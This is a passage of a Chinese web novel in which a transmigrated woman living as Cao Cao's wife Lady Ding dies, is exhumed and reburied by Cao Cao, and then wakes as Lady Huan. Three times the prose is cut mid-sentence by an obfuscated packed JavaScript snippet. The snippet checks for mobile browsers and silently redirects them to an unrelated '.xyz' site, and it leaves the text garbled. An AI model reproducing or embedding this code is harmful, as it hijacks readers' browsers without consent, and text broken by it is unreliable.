曹昂之死、丁瑶重病,无论是什么原因,他都难辞其咎。若丁瑶冲他嚷冲他闹,哪怕大哭一场,他都觉得自己有办法应对。可她如此平静,平静得仿佛不存在,既不哭也不闹,他不来看她,她也不生气。外面的流言蜚语她听见了,也毫不在意。 哀莫大于心死,恐怕就是她这样吧。 曹操这么想,就越发不敢去她院子里看她了。可这回是丁家来信,她的母亲让女儿回家,他不得不问她的意思。 小桃守在院门口,远远看见曹操,立刻进屋通报。七喜眉毛一挑,有点意外,可见丁瑶面色如常不喜不悲,便不好开口说什么。 两人欠身迎曹操进屋,而后低着头退出去,关上房门。 七喜不放心丁瑶,试图趴在门外听。小桃把她拉走了,提醒她:“你不要命了?前两天因听闲话被打死的阿双你忘记了吗?” 七喜脸色发白,不敢停留。 昏暗的房间内。从前的茶香熏香都不见了,取而代之的是浓浓汤药味。 丁瑶最喜欢布置房间,可如今重病卧床实在没力气,两个丫头光照顾她都分身乏术,哪里有工夫侍弄花草,以至于插花盆栽死了大半。 她斜靠在床榻上,点了点头算做行礼问安。 曹操在她身边坐下,望着她苍白的脸色,婉言劝她想开一些,不要和自己身体过不去。 丁瑶面上点头答应,心里苦笑着想,怪不得原身丁夫人要与他决裂。她心爱的男人在外面拈花惹草害死自己的孩子,一个多月不来看自己,如今好不容易来了,却是例行公事般的问候,她如何能不伤心不死心。 嘘寒问暖过后,曹操沉默了一下,再次问出那个她一直没有正面回答他的问题。 “阿瑶。”漆黑的目光看着她的眼睛,他问,“张绣设计诈降,派邹氏陷害我,宛城兵败是被他们算计的。你可信我?” 信他?信一个奸雄吗? 丁瑶好笑。她宁肯相信他被仙人跳了。 “无妨。”她淡淡一笑,声音轻如羽毛:“这些都不重要。如今看着表哥安顿好一切事务,我就放心了。” 曹操长吐口气,站起来,把本来打算和她商量的事咽回肚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555562|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里。 “你好好休息,过几天我再来看你。” “嗯,表哥慢走。” 曹操出门去,心沉到地底下。他一直不敢来见阿瑶,就是怕面对如今最糟糕的情况。阿瑶的不信任像是他的心头刺,扎得生疼。他可以不在意其他人的言语,但不能不在意阿瑶。 一直在他身后默默付出、信任他的妻子一旦离开,就再也不会回来了。于是,他隐瞒了丁家来信的事,坚决不会让丁瑶离开许昌一步。 半个月后,消失很长时间进山采药的神医华佗终于归来。曹操派出去的人把华佗请到府上,华神医替丁瑶瞧过病后,神色忧虑。他叹口气,摇摇头对曹操说:“丁夫人神色萎靡,茶饭不思,郁郁寡欢。再这般下去,恐怕只剩不到三个月的寿数了。” 曹操双目发红,嘴唇颤抖。他强压心中的怒气,因为他知道一旦华佗都这么说了,丁瑶怕真的时日无多。 他攥紧拳头,好像要拼命抓住什么:“我要她活着,她必须活着!” 华佗拱手道:“还有一个办法。丁夫人内心郁结,再多汤药也无济于事。如果夫人能回家修养或让家人来许昌陪伴,有母亲的开解和安慰,对她身体恢复大有裨益。” 曹操摆手:“罢了,让我想想。” 华佗说:“能救夫人的,只有司空您啊!” 华神医走后,曹操独自在书房待到后半夜,清晨破晓,他令人准备马车和细软,尽快安排丁瑶回谯县老家。 早上喝了几口粥的丁瑶在七喜的搀扶下,摇摇晃晃上了马车。她并不知丁家写信的事,还奇怪为何曹操突然让她回老家了?她没有吵嚷着决裂,也没写和离书,倒是被曹老板主动退货了? 可惜曹操没来送她,她也没机会问。 丁瑶拉住七喜的手腕说:“我这副病殃殃的身体,以后要劳烦你了。” 七喜难过:“夫人说得哪里话,夫人去哪里,我就跟到哪里。”然后,她掀开车帘,对外面的小桃说,“我随夫人回谯县住一段时间,你留在司空府守住小院,有消息立刻来信告诉我。” “好的,你一定照顾好夫人。”小桃红着眼睛说。 马车缓缓离开。小桃站在府门口,直到马车消失了,她才对身边的小厮道:“多谢你。” 小厮摇头:“不过是替你向华神医带一句话,说了丁家来信的事。若不是华神医开口,司空是不会放丁夫人离开的。不过,你如此铤而走险,不怕司空知道后怪罪吗?” “夫人对我有恩,我怎能不报答。”小桃望着马车离去的方向,叹气,“希望夫人回家后能养好身体,平安度日。” 17. (十七)病逝 回谯县的路很长,长得仿佛走完丁夫人的一生。 丁瑶最近也不知怎么,就像回忆很久以前看过的老电影般,回忆着丁夫人的记忆,想象她是如何从谯县一步步陪着曹操走来,如何杀出一条血路才有了今天的成就。没想到却落得如此悲伤的下场。 丁瑶叹气,再次为丁夫人感到惋惜。曹操是乱世霸主,但不是个好丈夫。可能战乱年代有所成就的男人,本就是两者不可兼得,偏偏丁夫人心高气傲,忍无可忍便无需再忍。 马车里摆放着暖炉,丁瑶手里还抱着手炉。 七喜受不住热,汗流浃背面色发红,热得快中暑了。丁瑶允许她同车夫并排坐在外面,她不叫便不用进来受罪。 马车铺得很软,很宽敞,所有大件行李都放在第二辆车上,七喜随身带着的只有一个木盒子,此时正放在丁瑶手边。 丁瑶打开看,哭笑不得。难怪贴身携带,里面都是珠宝首饰、玉钗镯子。可她如今病歪歪的样子,哪还有心情梳妆打扮啊。 她把手伸进首饰盒随意挑了挑,忽然发现一枚玉戒指,色泽圆润,材质上佳,正是曹操年节那一晚送她的。 没想到七喜把这物件也带来了。 送戒指在现代意义可不一般,是锁住一生不分离的意思。而在妻妾成群的古代,丈夫送给妻子戒指就跟赏赐小玩意一样,没什么特别。何况这东西还是用她费心打磨的麻将制作的,目的就是不让她贪玩。 丁瑶好气又好笑,拿起戒指看了看,又把它随手搁进去。 ***** 丁瑶归家的消息早在她到达沛县前,就传到丁府了。老夫人守在门口,翘首盼望几年未见的女儿。 马车停在丁家正门口。丁瑶还未掀开车帘,先听见喑哑的哭声,哽咽地喊着“女儿啊,瑶瑶啊!”。 七喜扶着丁瑶下车,丁瑶还未站稳,老夫人丢了拐杖一晃一晃地冲过来,紧紧抱住了她。 “瑶瑶你受苦了,是为娘的不是,当年你不愿意嫁,是我和你爹极力促成的婚事,没想到是段孽缘啊!曹阿瞒好狠的心啊!”老夫人最开始只是抽泣,后来变成嚎啕大哭,抱得丁瑶有点喘不过气。 丁瑶被她的情绪感染,也红了眼睛,轻抚着老夫人的后背,柔声道:“母亲安心,都过去了,会好的。” 丁瑶嫁给曹操后没过过几年安生日子,半生都随着曹操四处奔波。成婚第一年曹操陪她回过一次谯县,五年前丁父去世时她前来戴孝,除此以外再没回过家。 丁家的一切对她来说都是陌生的,陌生的房子,陌生的家人。这些年她的两个妹妹也都嫁人离开,弟弟借着父亲的光当了个不大不小的县官,常年在外。偌大的丁家只有老夫人守着,每天陪伴她的只有贴身婢女和满院子的小厮。 丁瑶身体很虚,和母亲随便聊了几句便要回房休息了。 屋子翻新过,不是她从前住过的地方。房间里放了两个炭盆,被褥用了最新最柔软的皮毛和绸缎。丁瑶躺在温暖的床上,很快睡着了。 不知过了多久,她隐约听见耳边传来叹气声,还有丁老夫人的哀求声。她疲惫的睁不开眼,感觉有人给她把脉,有人为她针灸。 难道她又昏死过去几天? 老夫人焦急的声音:“大夫,怎么样?” 一个男人叹气,没说话。 丁瑶虽然没有睁眼,可头脑是清醒且高速运转的,就好像她的灵魂离开这具身体,无病无痛,完全以旁观者的角度看着眼前发生的一切。 一个面色苍白的女子躺在床上,看起来毫无生气。身边坐着她唯一的亲人,还有服侍她的下人,就像古偶剧女主下线时的场景,悲伤却又那么相似。 丁瑶有点奇怪。不是华佗让她回家修养,说是能身心愉悦利于养病吗?怎么刚回家没两天,她就一副要挂了的样子? 正疑惑着,耳边传来一声呼唤:“丁瑶。” “谁?” “是我。” 丁瑶左右看看,没有人和她说话,这个声音是她脑子里传来的。 “你是谁?”丁瑶问。 那个声音说:“我是丁瑶。实在抱歉,这段时间,辛苦你了。” 丁瑶震惊:“你是真的丁瑶?是你坠马车出意外后,把我拉到这个时代,取代你身份的?” 对方默认。 “那现在呢?你想重新回到你的身体里吗?” 对方说:“抱歉,我病得太重,已经无力回天了。” 丁瑶说:“该抱歉的是我。本来我想着既然来了,就要好好对自己,替你好好生活,没想到会变成如今这样。你原本回家后能有几年好日子的,没想到因为一个意外的孩子,重病缠身,生活痛苦。” “你没有错,错的是我。面对家族,我没有勇气反抗到底,顺从命运。面对夫君,我没能坚持自己的主张一再忍耐,最终自食其果。” 丁瑶问她:“如今的局面,如果换做是你,你会如何?” 对方冷冷道:“我会写下休书,与夫君和离,从此再无关系。” 丁瑶心想,果然,丁夫人仍是那个丁夫人,曹昂之死是压倒骆驼的最后一根稻草。 仔细想想,她一直以旁观者身份自居,一心想平安度日,把曹操当老板的。她的离开太过平静,可能没有出丁夫人的恶气。 她问:“你现在找我,是有什么未了的心愿吗?想让我替你写和离书?还是狠狠骂那个负心男人出口气?” 对方道:“都不是,我现在最担心的,是我的母亲。我恐怕时日无多了,即使回家休养也撑不过一年。只是我的母亲太可怜了,白发人送黑发人的痛苦,我怕她承受不住。可生死有命,我无法改变,只想在最后的时光里尽一尽孝道。” 丁瑶说:“我明白了,我会替你好好照顾她老人家的。不过你也要争气一点,让身体稍微好一些。我现在走路都喘,动不动就想睡觉,连自己都照顾不了怎么照顾别人?” “我知道,我会尽力。丁瑶,谢谢你。” ***** 自那日后,丁瑶的身体果然“好”了许多。虽然不是神采奕奕、精神百倍,但也不至于离不开人伺候。她开始慢慢在院子里溜达,开始和老夫人聊家常,有时也会做点好吃的讨母亲欢心。 大家似乎都松了口气。 只有丁瑶自己清楚,这是丁夫人拼尽最后一点力气,想给她最后在意的亲人留下一段快乐的时光。 丁瑶从小亲情关系淡薄,父母离婚早,她被判给了母亲,但母亲只当她是拖油瓶。她高中毕业就离开家,大学学费和生活费全是靠假期打工和奖学金支撑。而她的母亲除了在她工作后找她伸手要钱,没有给过她什么关爱。 老夫人则不同,明明是才认识不久的陌生人,可丁瑶在她身上感受到母亲对孩子的关心和照顾,以及她对女儿婚事的愧疚。 老夫人不是最好的母亲,却比丁瑶的生母好多了。 受人之托,忠人之事。 自己早晚有一天会走,也许都熬不过这个冬天。临走前,丁瑶想给老夫人留下点什么,让她以后想到女儿,不是只能对着遗物哭泣。 丁瑶打算给老夫人做一件披风。再过两个月就要入冬了,她想在临走前制作一件冬衣以表心意。 而许昌那边一直不平静。 小桃留在司空府,每个月都会有信件寄来,将府上发生的事告知丁瑶。 曹操自宛城战败后,重整军队,对撤军有功之人大加奖赏。对战死的典韦深表哀痛,亲自临哭,拜典韦之子为司马。 除了北方拥有四州的强敌袁绍外,曹操又多了一个新的敌人,袁术在淮南称帝了。虽然这位仲氏皇帝不得人心,各路诸侯讨伐迟早灭亡,可也给曹操带来一点小麻烦。毕竟多了个“天子”后,他手里的刘协就掉价了。 偏偏在这时候来了个不长眼的,就是吕布有意和袁术结盟,这正踩在曹操的雷点上。曹某人与吕布恩怨已久,双方打打杀杀一年多没决胜负,如今终于再次找到个理由收拾他了。 要想对付袁绍,就得先把周围这些人和地方扫平了。 府里的事情就更热闹了。一家不能无主,无论是男主人还是女主人。 丁夫人前脚刚离开,卞夫人便开始管理府上全部事务,一副新一任当家主母的姿态。曹操对此默许了,毕竟后院那些人需要有人管,他可没空理会闲事。可丁瑶的事他还是放在心上的。 听说丁瑶回家后身体状态变好,曹操心情大悦,写信关心了几次,说很快会来丁家探望她。 丁瑶看完信,一笑而过,未当真。没想到几天后,曹操真的来了。 曹操来到丁家那天,丁瑶正在院子里织布。她坐在织布机前忙碌,有点吃力但一丝不苟。曹操站在她身后看了许久,她没有回头,不知道是太专注手上的活,还是不愿意理他。直到七喜送来新画的绣花样式,看见曹操,惊得跪在地上,俯身磕头。 丁瑶这才意识到身后有人,回头看,顿时惊讶。没想到曹操真的会来。她放下手中的活,站起来,含笑问候:“表哥来了,怎么不进屋坐,站在这里干什么?” 见丁瑶并非完全不理会自己,曹操放松了一些,说:“听闻你身体渐好,我来看看你。” 丁瑶略点头:“嗯,多谢表哥挂怀。” “第一次见你做女红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555563|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”曹操走到织布机前,手轻轻划过织好的锦缎,问她:“想要什么跟我说一声便是,怎么亲自织布了?” “想亲手给母亲制一件披风。多年未见,没能尽孝,心中有愧。” 话到此处,曹操心一沉,叹气:“我也有愧,愧对老夫人的托付,没能好好照顾你。”他想去拉她的手,被她不着痕迹的躲开了。 丁瑶说:“过去的事,不必再提。如今我很好,表哥放心。” “阿瑶,随我回去吧,府上离不开你。” “真的吗?”丁瑶笑了下,反问:“我听说阿纾把后院打理的井井有条,不是吗?” 曹操摇头:“比不上你。” 丁瑶诧异。在她有限的认知里,这是曹操能说出的最“低声下气”的话,也是他唯一一次专程来请某个夫人跟他回家。 这已经是曹老板能做到的极限了。 要是搁从前,老板如此给脸,她不可能不要脸,抱着大腿活着不赖。可如今她身体已经如此糟糕,怕是受不了舟车劳顿。就算真回到许昌,可能也过不了几日。 当然,如果她身体能好,她也不会回许昌了。既然已经走出来,何必困守一方小院呢。 “阿瑶?”曹操不死心追问。 丁瑶摇头,后退了半步表示拒绝:“难得回一次家,我住在这里很好。何况我的身体不合适舟车劳顿,实在无法出远门。” 曹操抱有的一丝希望彻底扑灭了。话已至此,他也不知该说什么。再劝她也是自讨没趣,再解释什么她也不会信。 他叹口气说:“既然你想陪自己的母亲,那就多住一段时间。等我破了袁术和吕布,再来谯县接你。希望到时候你能回心转意。” 回心转意?丁瑶脑海里回响起丁夫人凄苦哀怨的声音。她的心已经死了,自己有什么资格替她做决定? 在曹操离开时,丁瑶叫住他,问:“表哥有想过放我走吗?” 曹操断然道:“不曾。” 丁瑶似笑非笑:“表哥后院有那么多莺莺燕燕,多我一个不多,少我一个不少。既然如此,何必执着?” “你于我而言,和她们不一样。” “因为是发妻?” “嗯。”曹操点头。 “是发妻,不是倾慕呢。” “嗯?”什么问题?有何区别? 丁瑶眼睛看向远处:“若是她心灰意冷,执意要离开呢?即使留得住她的人,也留不住心了,死后魂飞魄散,她再也不会回来呢?” 曹操疑惑地看着她,好像从她身上看到了另一个人。她到底是谁?为何突然说这些莫名其妙的话?她想做什么? “你是我的发妻,生生世世都是我的人,永远别想离开。”淡淡丢下这句话后,曹操不再停留,转身离开。 ***** 建安三年这个年节,曹操是在淮南一带过的,与袁术、吕布的战争仍在继续。 过了这个年,丁瑶的身体状况再次恶化。 看来丁夫人已经支撑不住了。 七喜眼睛哭红了,她连着给许昌寄了好几封信,可都没有回音。她在抽泣中也不忘安慰丁瑶:“夫人放心,司空只是打仗无暇顾及,等他率军回城,一定会来沛县看您的。” 丁瑶没有接话,只是说:“七喜,扶我去小时候住的地方看看吧。” “是,夫人。” 官家小姐大门不出二门不迈,丁瑶小时候住的院子很隐蔽,外人通常无法见到她。她一个胳膊被七喜搀扶着,一手扶着灰色的土墙,缓缓朝最深的内院走去。 推门,映入眼中的是一座长期无人居住的院子。可这院子她竟觉得有点熟悉。 冷风一吹,吹得她打了个寒战。 回廊、木板路、池塘…… 这不是许昌城外西苑的小院子吗? 那年,曹操爬上墙头看见十四岁的丁瑶在院子里玩耍,便记住了眼前的画面。 他心里有了那个笑容明媚的女子,多年后在许昌城外建了一座和丁家小院一模一样的院子。 丁瑶身体一软,瘫坐在门口的石阶上。她嘴角微微一动,笑了出来,笑出了声。 可惜了丁夫人。 也许曹操对你真的是有感情的吧,但乱世之中的爱情,弱小的仿佛一粒尘埃。 他不言,你不言,各自有各自的立场和坚持。 他给你的,不是你想要的。你想要的,他给不了。 ***** 建安三年,十月。 曹操围剿下邳城,吕布兵败被杀。 曹操得胜归来后听到的第一个消息就是,丁氏已于九月初病逝。 18. (十八)掘坟 府上挂着举哀的白灯笼。 曹操疾步来到丁瑶从前住过的小院。门前,身着白衣的七喜和小桃跪在地上,浑身颤抖,轻声抽泣。 “人在何处?”曹操立在门口,面色铁青。他抬起脚步,却不敢迈进去。 七喜和小桃眼睛肿成核桃,都不说话。 曹操身后有个小厮低声说:“请司空节哀,丁夫人已经……走了。” 曹操愣了片刻,而后大怒。他看都没看那个说话的下人,直接下令:“一派胡言,把这个造谣生事的拉出去砍了!” “司空息怒!”以福叔为首的下人跪倒一片。 一众人噤若寒蝉。 “请司空息怒。”荀彧拱手立在他身侧,躬身劝阻。 曹操一向很信任荀彧,见他如此,自知方才脾气太大了。他深吸口气,平复情绪,冷声问:“阿瑶葬在何处?” 这次无人敢回话了。 曹操指着俯身跪在地上的七喜,用命令的口吻说:“七喜,阿瑶生前最信任你,你来说,阿瑶在哪里?说,我不会治你罪。不说,你立刻去陪阿瑶。” “司空饶命,我……奴……奴不敢,夫人半月前葬在谯县了。”七喜不住地磕头,脑门砸在地上咚咚响。 曹操被她的哭声和磕头声吵得心烦气躁,他立在原地,一脸茫然,似乎没听懂她在说什么。过了一会儿,他闷着头转身走了。 夜深人静。 他独自来到丁瑶小院门口。院内院外一片死静,再也没有茶果香和欢笑声。 他立在门口,负手站了一夜。 直到东方既白,直到前来寻他的福叔为他披上披风,说了很多安慰的话,他才愿意相信,阿瑶真的已经走了。 她走了,将来也不愿意和百年之后的他葬在一起。她选择葬在老家,远离许昌,远离他。 又过了三日,在曹操再三逼问下,七喜道出了不敢和旁人言说的话:“夫人死前万念俱灰,她不愿意留在世上,也不愿入土安葬被蚂蚁虫子啃噬,她想……想把自己烧成骨灰,撒到山川河流间,想让灵魂得到自由。” “什么?!”曹操大为惊怒。生同寝死同穴她不愿意,还要挫骨扬灰?她这是有多恨他,还是恨她自己? 七喜见曹操脸色大变,害怕迁怒自己,立刻补充说:“司空请放心,老夫人自然是不愿意的。她已将丁夫人好生安葬在谯县外的后山上,是个风景秀丽的好地方。” 曹操闭上眼睛,平静了片刻,问:“她还说了什么?或者留下了什么?” “夫人说这些东西不属于她,都不需要带走。”跪在地上的七喜双手捧着一个木盒子,她低下头,手捧盒子举过头顶。 曹操接过来,打开看,里面全都是这些年他送给丁瑶的首饰盒珠宝,有她平日常戴的玉簪和手镯。 他送的东西,她一件没有留,连带进墓里陪葬都不愿。 那枚玉戒指搁在盒子的角落,埋在一堆项链下面。 她不知道,那枚戒指,是他和工匠学习后,亲手做的。 “罢了。”曹操一松手,盒子里所有珠宝首饰哗啦啦撒了一地。簪子镯子摔碎不少,尖锐的碎渣滚在七喜手边。“既然她不稀罕,我无所谓。” 丁夫人离世的事仿佛平静下来,无人再提,也不需要提。 伺候过丁夫人的婢女和小厮有的攒够钱赎身离开,有的被安排去其他地方做事。七喜去了环夫人处,小桃因为相貌不佳被安排在烧火房。 而丁夫人去世后,最风光的就属卞夫人。一个艺妓出身的贫家女,很快被曹操立为正室。对此有人幸灾乐祸,有人为丁夫人惋惜。 然而让所有人没想到的是,曹操安排给新夫人卞纾的第一个事,竟然是…… “您是想让我给丁姐姐迁坟?”卞夫人怕自己听错了,又问了一遍。 曹操摇头:“是开棺。” “什么?”卞夫人震惊,“开棺?可……丁姐姐已经入土为安,死者已矣,不知您此举何意?” 曹操不悦:“怎么?何时轮到你来教我做事?” “妾身不敢。”卞纾俯身低头,吓得直哆嗦。迁坟和开棺,这两个性质完全不同。 一屋子下人听见,更是怕得差点尿裤子。开棺?这是要掘坟啊!曹司空和丁夫人就算没有感情了,恩情也是有的啊,为何如此恨她,死后都不让她安宁? 卞纾什么都不敢问了,只是试探道:“那请容妾身请来大师作法,选个黄道吉日和风水宝地……” “许昌城南,我已选好了地方。至于时间……”曹操不假思索道,“明日。” 明日?明日可不是吉日啊,忌安葬迁坟的。 卞纾不敢言,只是问:“明日迁坟动土,需前往谯县。司空可愿同去?” 本以为曹操这般逆天行为是厌恶丁夫人了,他肯定不会去谯县。没想到,曹操毫不犹豫说:“同往。” 虽说曹操本就是个不受纲常礼法约束,行事乖张让人捉摸不透,甚至暴戾的人,可听闻他对发妻如此,大家不由齿冷。 先是在外面沾花惹草气死了发妻,死后又要掘坟令其不得安宁。丁氏到底造了多大的孽啊,才嫁给这么个薄情的人。 掘坟那日,丁老夫人哭到昏死过去。她想阻止,可丈夫已死,家中唯一的男丁远在外地做官。曹操等人来得突然,丁家根本没法准备。 “造孽啊!造孽啊!”老夫人眼前一黑,不省人事。 曹操立马派最好的医工医治老夫人,却仍不改自己的初衷。 他未在谯县停留,手下一干人抬着棺椁,像护送极为重要的物品般,上百军士全副武装。 一路上,他们受到围观百姓指指点点的议论和骂声。 他们低着头,不敢言。 到了许昌城南,卞纾提前命人挖好的墓坑准备就绪。 曹操命人将棺椁放入墓中,抬手下令:“开棺!” 真的开棺啊!? 棺材钉撬开,楠木棺椁打开了。 丁夫人静静躺在里面,棺材里没有一件华贵的陪葬物,就如同她生前一般,不喜奢华,平平淡淡。 因已下葬两个月,她的尸身已经开始腐化。旁人闻到气味都恶心到想吐,忍不住掩住口鼻弯下腰。 请来像摆设一样的方士实在看不下去了,他恳请曹操道:“还请曹司空看在丁氏往日的情分上,丁氏入土前请容小人为超度作法一日,告慰亡灵,以免日后司空府不得安宁啊!” “准。”曹操说。 说是作法一日,告慰亡灵,实则谁真敢留在已经腐败的肉身旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600637|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一整夜呢。 方士高估自己的心理承受力,他象征性念了几句悼文,跑到远处呕吐了。只有曹操一直守在旁边。他面无表情,眼中无光,方士也不知道他是怀念夫人还是怨念夫人。 翌日清晨,入土的时辰已到。 丁夫人迁坟离开谯县后,重新在许昌城南入土安葬。 棺椁合上前,曹操把一枚很小的玉石戒指放入棺中。 这是丁夫人唯一的陪葬首饰。 方士见之,脸色微微一变。莫非曹司空执意开棺,是为了将玉戒指放入棺中?他怀疑且惊讶地看向曹操,曹操板着脸下令即刻将丁夫人下葬。 卞夫人带领其他几位夫人和孩子哭丧。曹铄和曹蓉也回来了,跪在陵前痛哭流涕。 在场所有人都以为曹操在最后一刻于心不忍,扔了个陪葬品给丁夫人。只有方士和曹操本人知道,这不是普通的戒指。早在这块美玉被送给曹操的时候,方士便神秘兮兮地对曹操说,此玉非凡品,可连通生死。 那时的曹操不信鬼神,觉得物件好看随意就送出去了。 可现在他真的怕了,怕和阿瑶唯一的联系断了,便将这块玉戒指丢进棺椁。 可通生死吗? 一向不敬神佛的曹操第一次信方士,若真有此事,便让阿瑶从鬼门关归来,再次寻到他。 ***** 建安三年十一月。 陪伴曹操近二十年的丁夫人葬在许昌城南。 在许昌百姓的议论声中,丁夫人迁坟和葬礼结束。在百姓的执意声中,曹操完全没有受夫人去世的影响,继续开始他的宏图霸业,开疆拓土,巩固权势。 建安四年,曹操擒杀吕布,刘备随曹操回许昌。 建安五年春正月,刘备借北上剿灭袁术残部为由,帅兵离开许昌,后车骑将军董承等受汉帝刘协衣带诏,秘密诛杀曹操,事情败露后被曹操诛杀三族。 汉帝从此彻底成为笼中鸟,曹操大权在握。 ***** 在黑暗中昏睡许久的丁瑶,终于费力地睁开眼睛。她头很疼,浑身上下十分难受。 她没死? 自己在哪儿?是回到现代了?还是躺在医院的急诊室? 眼前景象逐渐清晰。 烛灯摇曳,木栏窗花,古色古香的床帐…… 什么?丁瑶心中警铃大作。她没回去,还在古代? 更让她震惊的是,下一秒,映入眼中的是一张焦急的、熟悉的脸。这个人是七喜。 七喜大喜过望地看着她,那表情丁瑶熟悉极了:“夫人,您终于醒了!您可千万别再想不开了!呜呜呜呜!” 丁瑶痛苦地闭上眼睛,恨不得再“死”一次。好不容易在丁家结束了一切,她为什么又回来了? 而且…… 怎么又当上什么见鬼的夫人! “镜子,给我镜子。”丁瑶压着嗓子,艰难地说。 七喜立刻照办,递给她一面铜镜。 不太清晰的镜子里映出一张熟悉的脸。不是别人,正是她丁瑶本尊。只不过年龄小了一点,看上去不到二十岁,还是张高中生模样的脸。 这这这……这人是……环夫人啊! 丁瑶惨叫一声,手一松,镜子掉下来,她人昏过去了。 19. (十九)装疯 “冤孽啊!小公子那么健康可爱的孩子,怎么突然夭折呢,唉!” “说不定是丁夫人的冤魂厉鬼回来了,谁叫曹司空当年不听劝,非要违背死者遗愿给丁氏迁坟?” “我觉得最惨的还是环夫人,她本来就只有小公子这一个念想,如今孩子没了,她可怎么活啊!” “是啊,她本就无宠,真是可怜。听说她整日哭哭啼啼,怕是曹司空对她的怜悯都快没有了。” …… “扑通!” 受不住打击的环夫人神情恍惚,倾诉无门,失去寄托的她投河自尽。 七喜等人发现并喊人把环夫人救上来时,她浑身冰冷,已经快没有气息了。 卞夫人亲自来探望,还请大夫过来诊治。大夫摇头说无力回天,让卞夫人准备后事。没想到棺椁都连夜打造好了,环夫人居然醒了。 醒了! 就像诈尸还魂一样,把一干下人都吓坏了。除了七喜是欢喜的,其他人都一副见鬼的表情,赶忙去卞夫人那里报告。 卞纾也吓了一跳。新上任的正室夫人,办完丁夫人丧事没几年,以为又要办一次丧事了,没想到环夫人命硬,居然活了下来。 卞夫人和贴身婢女流苏前来探望环夫人,还带了很多滋补的名贵药材。就算曹操不喜欢她,可到底是生过孩子的侧夫人,面子工程卞纾还要做足的。 环夫人没有自己的院子,她和李夫人、杜夫人住在一个院子。 同样是侧夫人,李氏和杜氏的条件比她好很多,虽然都是独门独户,可环夫人屋子的门脸小了很多,装饰也略显寒酸。 而这边,丁瑶刚神魂归位,就被熟悉的七喜吓得昏过去。再醒来,又见到卞夫人的脸,她浑身一个激灵,身体本能往床里侧缩,不愿被她触碰。 卞夫人认为她是惊吓过度,以当家主母的身份安慰她道:“环妹妹莫怕,大夫说你只要醒来就没事了。人还是要向前看,你虽然失去翀儿,可你还年轻,只要养好身体,以后还会有孩子的。人只有活着才有希望,不是吗?” 丁瑶愣怔着,没作反应。 卞夫人顿了下,语气沉了沉道:“你虽然年纪轻,可也入府几年了,该懂规矩。我很同情你的遭遇,也很惋惜,但寻死是大忌。”最后几个字咬得很重,声音极冷。 “司空数月征战,出征前我等甚至斋戒,求上天保佑图个吉利。如今司空仍在外作战,每日活在刀尖上。你若出点什么意外,岂不是让他分心?” 丁瑶太有自知之明了。哪里是让曹操分心,是让人觉得晦气吧。 这次的魂穿她没有环夫人之前的记忆,只有她身为丁夫人时知道的一些事,包括环夫人如何生下曹翀,如何被冷落,以及如今她才知道的曹翀早夭,环夫人跳河。 好死不如赖活着,她跳什么河啊!就算真受不住痛苦自我了断,那也早登极乐啊,把她拉回来做什么? 她运气太差了,怎么又穿越成曹操的夫人了! 好在丁瑶知道环夫人的人设,有点呆傻的纸片美人,口齿不清说话结巴。如此正好,她就不说话了,不说就不会错。 “嗯……嗯……啊……啊……”丁瑶发出几个音,故意不连成句子。 流苏忍笑,别过脸。 卞夫人拿出当家主母的气势,又象征性的安慰劝解几句,留下药材离开了。 ***** 接下来一个月,丁瑶屋里除了贴身伺候的七喜,再没有其他人。 原本环夫人的贴身丫头不是七喜,丁瑶猜那人觉得跟着环夫人没有好处,估计想办法调走了。 就跟办公室一样,有本事能跟着挣钱的领导才是好领导,没本事或没能力的手下都跑路。 环夫人之前的贴身丫鬟跑路了,丁夫人死后七喜被安排过来。七喜是个老实人,伺候丁夫人时本本分分,如今照顾环夫人,依然安稳老实。 丁瑶不得不佩服自己最开始看人的眼光。虽然面前的七喜不知道,眼前的环夫人内核已经换了,又变成之前的丁夫人了。 这些日子,丁瑶慢慢适应了这具身体。到底年轻就是资本,丁瑶恢复的很快。落水得了风寒且受到惊吓,这么多病症累积在一起还能活下来,不但活下来还能生龙活虎,着实为古代医学奇迹。 这个身体原主人和十八岁的自己模样相同,身材娇小,长着一张人畜无害的娃娃脸,笑起来有两个小酒窝。 丁瑶对这幅尊容还是很满意的,只不过和风情万种的卞夫人有区别,又没有丁夫人那种温柔恬静的气质,不符合曹操审美罢了。 不符合就不符合,老娘也没打算再讨好你把你当老板。 当丁瑶身体恢复,确定自己徒手造万物技能仍有效开始,她就在默默制定新计划了。 从前她还是丁夫人的时候,觉得只要不惹恼老板,甚至再投其所好一点,自己就能在小院里躺平养老安然度日。没想到她想躺平,曹操不让啊,非让她莫名其妙有个孩子,又稀里糊涂的血崩流产,最后事与愿违苦兮兮的死了。 虽然她不是心甘情愿穿越的,可既然又让她当了环夫人,她不会再重复之前失败的战略。 